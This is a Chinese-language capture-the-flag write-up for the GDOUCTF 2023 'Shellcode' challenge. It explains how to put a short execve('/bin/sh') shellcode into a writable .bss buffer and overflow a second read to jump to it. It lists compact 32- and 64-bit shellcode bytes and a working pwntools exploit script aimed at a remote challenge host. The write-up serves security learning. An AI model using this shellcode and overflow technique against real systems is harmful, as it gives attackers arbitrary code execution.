[GDOUCTF 2023]Shellcode
32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05】
拿到题 先checksec 看一下防护 就不贴图片了
查看main函数
有两个read
并且没有后门没有system
所以我们可以首先看看有没有能shellcode 的地方 就去查看两次read函数在不在bss段
如果在bss段那我们就可以自己弄一个system
这里可以知道第一次的name在bss段
但是这次不能用
asm(shellcraft.sh())
因为使用 shellcraft 默认生成的字节数是 0x30这里只能0x25 我们需要找小于0x25的shellcode
exp如下
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p=process('./ezshell')
p=remote('node4.anna.nssctf.cn',28454)
name_addr=0x6010A0
shellcode="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
p.sendlineafter("Please.",shellcode)
payload=b'a'*0x0A+p64(0)+p64(name_addr)
p.sendlineafter("start!",payload)
p.interactive()
解释一下 因为name在bss段可读写 所以我们需要把shellcode 在第一次的read 先写进去
第二次在溢出 然后跳转到 第一个name的位置 利用shellcode